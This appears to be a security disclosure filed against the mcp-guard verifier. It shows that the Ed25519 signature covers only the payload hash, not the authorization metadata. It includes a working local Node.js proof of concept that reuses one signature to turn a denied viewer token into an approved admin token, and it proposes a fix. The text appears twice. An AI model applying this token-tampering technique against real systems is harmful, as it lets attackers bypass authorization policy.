Refs #36
Summary
The mcp-guard verifier accepts a tampered authorization token because the Ed25519 signature only covers the canonical payload hash, not the authorization metadata that is later trusted for policy enforcement.
In permission-protocol/mcp-guard, src/enforcement/verifier.ts recomputes the payload hash and verifies the signature over only that hash:
const canonicalString = stableStringify(payload);
const recomputedHash = crypto.createHash('sha256').update(canonicalString).digest('hex');
const isValidSig = crypto.verify(
null,
Buffer.from(recomputedHash),
publicKeyPem,
Buffer.from(token.signature, 'hex')
);
After that, it trusts mutable token fields such as:
decision
signers
roles
signed_at
expires_at
request_id
key_id
Those fields are not included in the signed bytes. As a result, the same valid signature for a payload hash can be reused while changing a token from denied/viewer/non-authorized metadata into approved/admin/authorized metadata.
Local PoC
This uses only the public verifier implementation from permission-protocol/mcp-guard and does not attack infrastructure.
npm ci
npm run build
node --input-type=module <<'NODE'
import crypto from 'node:crypto';
import stableStringify from 'fast-json-stable-stringify';
import { verifyAuthorization } from './dist/src/enforcement/verifier.js';
const { publicKey, privateKey } = crypto.generateKeyPairSync('ed25519');
const publicKeyPem = publicKey.export({ type: 'spki', format: 'pem' }).toString();
const now = Math.floor(Date.now() / 1000);
const payload = {
request_id: 'req-poc-' + Date.now(),
action: 'deploy_production',
args: { repo: 'permission-protocol/pp-demo', prNumber: 32, headSha: 'attacker-head' },
issued_at: now,
expires_at: now + 600,
nonce: crypto.randomBytes(8).toString('hex')
};
const payloadHash = crypto.createHash('sha256').update(stableStringify(payload)).digest('hex');
const signature = crypto.sign(null, Buffer.from(payloadHash), privateKey).toString('hex');
const baseToken = {
request_id: payload.request_id,
decision: 'denied',
payload_hash: 'sha256:' + payloadHash,
signers: ['mallory'],
roles: ['viewer'],
signed_at: now,
expires_at: now + 600,
key_id: 'pp-prod-1',
signature
};
const policy = {
protected: true,
required_approvals: 1,
allowed_signers: ['alice'],
allowed_roles: ['admin'],
max_ttl_seconds: 3600
};
async function attempt(name, token) {
try {
const ok = await verifyAuthorization(payload, token, publicKeyPem, policy, 'pp-prod-1');
console.log(`${name}: PASS`, ok);
} catch (err) {
console.log(`${name}: FAIL`, err.message);
}
}
await attempt('original denied/viewer token', baseToken);
const tamperedToken = {
...baseToken,
decision: 'approved',
signers: ['alice'],
roles: ['admin']
};
await attempt('tampered approved/admin token with same signature', tamperedToken);
console.log('same signature reused:', tamperedToken.signature === baseToken.signature);
NODE
Observed output:
original denied/viewer token: FAIL Invalid decision: denied
tampered approved/admin token with same signature: PASS true
same signature reused: true
The second authorization passes with the exact same Ed25519 signature. Only unsigned token metadata changed.
Impact
If a verifier or /api/v1/receipts/verify path follows this token format, a token signed for the same payload hash can be altered to satisfy a different authorization decision and policy signer/role requirements without producing a new signature.
This is a signing-envelope issue, not a generic Ed25519 issue. Ed25519 verification is working; the signed message is too narrow.
Suggested fix
Sign a stable canonical envelope that includes both the payload binding and all authorization metadata used for enforcement, for example:
{
"request_id": token.request_id,
"decision": token.decision,
"payload_hash": token.payload_hash,
"signers": token.signers,
"roles": token.roles,
"signed_at": token.signed_at,
"expires_at": token.expires_at,
"key_id": token.key_id
}
Then verify the signature over that canonical token envelope, and separately assert token.request_id === payload.request_id before policy checks.
Payment details can be provided privately after verification.
Refs #36
Summary
The
mcp-guardverifier accepts a tampered authorization token because the Ed25519 signature only covers the canonical payload hash, not the authorization metadata that is later trusted for policy enforcement.In
permission-protocol/mcp-guard,src/enforcement/verifier.tsrecomputes the payload hash and verifies the signature over only that hash:After that, it trusts mutable token fields such as:
decisionsignersrolessigned_atexpires_atrequest_idkey_idThose fields are not included in the signed bytes. As a result, the same valid signature for a payload hash can be reused while changing a token from denied/viewer/non-authorized metadata into approved/admin/authorized metadata.
Local PoC
This uses only the public verifier implementation from
permission-protocol/mcp-guardand does not attack infrastructure.Observed output:
The second authorization passes with the exact same Ed25519 signature. Only unsigned token metadata changed.
Impact
If a verifier or
/api/v1/receipts/verifypath follows this token format, a token signed for the same payload hash can be altered to satisfy a different authorization decision and policy signer/role requirements without producing a new signature.This is a signing-envelope issue, not a generic Ed25519 issue. Ed25519 verification is working; the signed message is too narrow.
Suggested fix
Sign a stable canonical envelope that includes both the payload binding and all authorization metadata used for enforcement, for example:
{ "request_id": token.request_id, "decision": token.decision, "payload_hash": token.payload_hash, "signers": token.signers, "roles": token.roles, "signed_at": token.signed_at, "expires_at": token.expires_at, "key_id": token.key_id }Then verify the signature over that canonical token envelope, and separately assert
token.request_id === payload.request_idbefore policy checks.Payment details can be provided privately after verification.